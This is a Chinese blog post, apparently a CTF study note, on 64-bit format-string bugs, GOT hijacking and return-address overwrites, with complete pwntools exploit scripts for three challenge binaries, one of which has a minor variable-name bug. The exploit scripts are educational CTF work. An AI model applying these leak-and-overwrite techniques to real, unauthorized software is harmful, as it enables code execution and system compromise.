格式化字符串进阶版

习题和一些解题技巧

64 位程序格式化字符串漏洞

原理

之前学习基础的时候我们都把程序编译成32位,64位的漏洞原理也是相似的,只不过还是传参方式上的细微差别。虽然我们并没有向相应寄存器中放入数据,但是程序依旧会按照格式化字符串的相应格式对其进行解析。

🌰:

题目在这里:pwn200 GoodLuck

这道题目的原题里有获取本地flag.txt文件的代码部分,我们要本地复现的话需要自己新建一个flag.txt文件

看看源代码,主要逻辑就是先获取flag内容放在v10里,获取用户输入进行对比,如果用户输入的flag正确,则输出flag,也就是说我们要让 v10[j]=v4

我们可以看出这是一个格式化字符串漏洞。根据格式化字符串解题的步骤,我们首先确定格式化字符串变量的偏移位置。

在printf处下断点,注意我们要输出的是题目的flag,所以获取的是题目flag的偏移。

我们可以看出相对应的 flag 是栈上的第四个变量,除此之外,64位的程序前六个变量储存在寄存器中,而 fmt 字符串又在 rdi 上,所以 flag 相对于 fmt 字符串的偏移就是(剩余的五个寄存器+4)=9。

或者也可以利用工具比如 pwndbg ,有一条 fmtarg [目标地址] 的指令可以直接输出偏移。注意要把断点断在printf。

最终的exp为:

1
2
3
4
5
6
from pwn import *
p=process('./goodluck')
payload='%9$s'
p.sendline(payload)
print p.recv()
p.interactive()

甚至本地复现都不用exp(x

(三个问号是因为我偷懒设置的本地flag和题目原本的flag长度不一样)

hijack GOT

原理

当前ELF编译系统使用延迟绑定的技术来实现对共享库的调用过程,主要由GOT表和PLT表实现。

原理大致为 : 当目标模块存在一个外部共享库的函数调用时,在汇编层面使用 call 指令实现调用,其作用为跳转至对应函数的 PLT 表项处执行,该表项的第一条指令为 jmp *[ 对应 GOT 项的地址 ],第一次执行函数调用时,通过 GOT 与 PLT 的合作,会将最终调用函数的地址确定下来,并存放在其对应的 GOT 表项中。当后续再发生调用时, jmp *[ 对应 GOT 项的地址 ] 指令即表示直接跳转至目标函数处执行。

在C程序中,libc函数都是通过GOT表跳转的。同时,如果程序没有开启RELRO保护,那么每个LIBC函数对应的GOT表项是可以被修改的。我们就可以借此修改某一个函数的GOT表地址为另一个函数,从而进行目标函数的调用。

假设我们需要将函数A的地址覆盖为函数B的地址,步骤为:

  • 确定 A 的 GOT 表地址
  • 确定 B 的地址
  • 将B的地址写入 A 对应的 GOT 表处

🌰:

题目在这里: 2016 CCTF 中的 pwn3

分析题目

查看保护

查看一下源码逻辑

首先在main函数中的 ask_username() 函数中有一个 scanf 函数,并通过循环将输入值的ASCII码值加一赋值给 dest,也就是主函数中的s1。

注意 ask_password 部分的判断条件,也就是我们最开始的输入要求是 "sysbdmin" 对应的每一字母的ASCII码值减一。

可以在payload里写一个如下的函数: (最后结果是 rxraclhm

1
2
3
4
5
def password():
admin='sysbdmin'
name=''
for i in admin:
name+=chr(ord(i)-1)

进入程序主循环后,查看每个函数的功能,三个函数对应模拟 FTP 的操作。没有地方可以栈溢出,要按照程序的逻辑一步一步进行。

put_file() 函数:

由于 file_head 变量位于 BSS 段上,是全局变量。每次调用 put_file() 函数时,当前 file_head 存储的地址都是上一次分配的地址,赋值给 v0[60],调用即将结束时会将本次的地址赋值给 file_head ,将会在下一次调用函数时赋值给对应的变量。如此就在栈上形成链表关系,可以通过遍历链表来访问之前保存的文件信息。

show_dir()

读取 put_file() 中形成的链表的内容也就是文件的名称并存储在 s 中,最后调用 puts() 输出 s。

get_file() 函数:

printf(dest) 没有加格式化字符串,可以任意写和读。

需要注意的是我们不能控制程序跳转到 get_file() 再直接 get flag,那样不高级 程序设置检查输入“ flag ”会返回输出警告。

做题原则:没有一个函数是多余的🤨

漏洞利用思路:
  • 绕过最开始的检查密码。
  • 利用 printf() 获取 puts 的 GOT 地址,进而获得 system 函数的地址。
  • 利用 printf() 修改 puts 的 GOT 表地址为 system 函数的地址。
  • show_dir() 函数中 puts() 的参数也就是读取的文件信息改为” bin/sh “。

首先确定格式化字符串变量对应的偏移

找到 printf 的地址下断点用 gdb 调试一下,不要直接 b printf,那样会在每个 printf 都停一次,效率低低哒🤪

可以看出是第七个参数。知道了参数的偏移就可以利用 printf 输出 put 的地址和修改 put 的 GOT 表地址啦。

在这里我们可以用到 pwntools 中的 fmtstr_payload 函数,函数返回一个完整的 payload。

1
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
  • offset:对应格式化字符串的偏移
  • writes:需要利用%n写入的数据,采用字典形式。比如我们要将 printf 的 GOT 数据改为 system 函数地址,就写成 {printfGOT: systemAddress}
  • numbwritten:已经输出的字符个数,默认值为0,也可另附值
  • write_size:写入方式,分类有字节(byte)、双字节(short)和四字节(int),对应着 hhn、hn 和 n,默认值是byte。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from LibcSearcher import LibcSearcher

sh=process('./pwn3')
elf=ELF('./pwn3')
puts_got = elf.got['puts']

admin='sysbdmin'
name=''
for i in admin:
name+=chr(ord(i)-1) #绕过密码检查登,陆密码rxraclhm
sh.recvuntil('Name (ftp.hacker.server:Rainism):')
sh.sendline(name)

sh.recvuntil('ftp>')
sh.sendline('put')
sh.recvuntil('please enter the name of the file you want to upload:')
sh.sendline('filename1')
sh.recvuntil('then, enter the content:')
show_puts_payload=p32(puts_got)+'%7$s' #通过get泄露puts函数地址
sh.sendline(show_puts_payload)

sh.recvuntil('ftp>')
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
sh.sendline('filename1')
puts_addr = u32(sh.recv()[:4]) #获得puts的实际地址

libc = LibcSearcher("puts", puts_addr)
system_offset = libc.dump('system')
puts_offset = libc.dump('puts')
system_addr = puts_addr - puts_offset + system_offset #获得system的实际地址

payload = fmtstr_payload(7, {puts_got: sys_addr})
sh.sendline('put')
sh.recvuntil('please enter the name of the file you want to upload:')
sh.sendline('/bin/sh;')
sh.recvuntil('then, enter the content:')
sh.sendline(payload)
sh.recvuntil('ftp>')
sh.sendline('get') #读取文件内容并执行printf进行地址覆盖
sh.recvuntil('enter the file name you want to get:')
sh.sendline('/bin/sh;')

sh.sendline('dir') #调用puts读取文件名实际执行system('bin/sh;')
sh.interactive()

hijack retaddr

原理

利用格式化字符串漏洞来劫持程序的返回地址到我们想要执行的地址。

🌰:

题目在这里:三个白帽 - pwnme_k0

分析题目

检查保护:

程序实现了一个登录的功能,可以查看和修改信息。玩了一下发现没有存储功能,修改了账号密码以后它就会覆盖新的数据,不会保留原来的数据。

看一下源码

把文件拖进ida就发现程序里留有后门函数,在 sub_4008A6() 函数中直接return system("/bin/sh")。我们可以控制程序跳转到这个地方。函数地址是 0x4008AA

sub_400B07 函数,也就是主循环中对应的选项 1.Sh0w Account Information 中有 printf() 函数没有格式化字符串,似乎有漏洞可以利用。

根据函数间变量的对应关系回溯一下程序其他的函数部分,发现在当初读入的时候就是以这个形式读入的(修改账号密码时读入也是这个形式)

漏洞利用思路
  • 获取system执行时的地址

  • 获取函数返回地址,利用 printf 修改返回地址为 system 后门函数地址

  • 利用密码输入将payload写入

首先确定一下偏移,断点下在第二个 printf 的地方。

可以看出输入的用户名在栈上的第三个位置,格式化字符串本身又在rdi上,所以偏移就是 6 + 3 - 1 = 8。

同时栈上,第一个元素存储的是上一个函数的 rbp 也就是接下来所说的旧返回地址。栈上第二个位置存储的就是当前函数的返回地址,在格式化字符串中的偏移为 7,相对于旧返回地址的偏移为 0x7fffffffdd70 - 0x7fffffffdd38 = 0x38。

返回地址 0x400d74 和目标地址 0x4008AA只有低字节不同,我们可以只修改低2字节 ,即:写成 0x08AA = 2218

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.log_level="debug"
context.arch="amd64"

sh=process('./pwnme_k0')
elf=ELF('./pwnme_k0')

sh.recv()
sh.sendline("modifier")
sh.recv()
sh.sendline("%6$p")
sh.recv()
sh.sendline("1")
sh.recvuntil("0x")
ret_addr = int(sh.recvline().strip(),16) - 0x38

sh.recv()
sh.writeline("2")
sh.recv()
sh.sendline(p64(ret_addr))
sh.recv()
sh.sendline("%2218d%8$hn")
sh.recv()
sh.sendline("1")
sh.recv()
sh.interactive()

奇怪踩坑之我把chatGPT玩崩了

问题发生在我问了 chatGPT 一个弱智问题后,它说我输入了可疑信息。😨

最后我去找了机器人客服申诉,今天把我从小黑屋放出来了。

我做错了什么我就是笨笨而已为什么把我关小黑屋😿


格式化字符串进阶版
https://shmodifier.github.io/2023/07/12/格式化字符串进阶版/
作者
Modifier
发布于
2023年7月12日
许可协议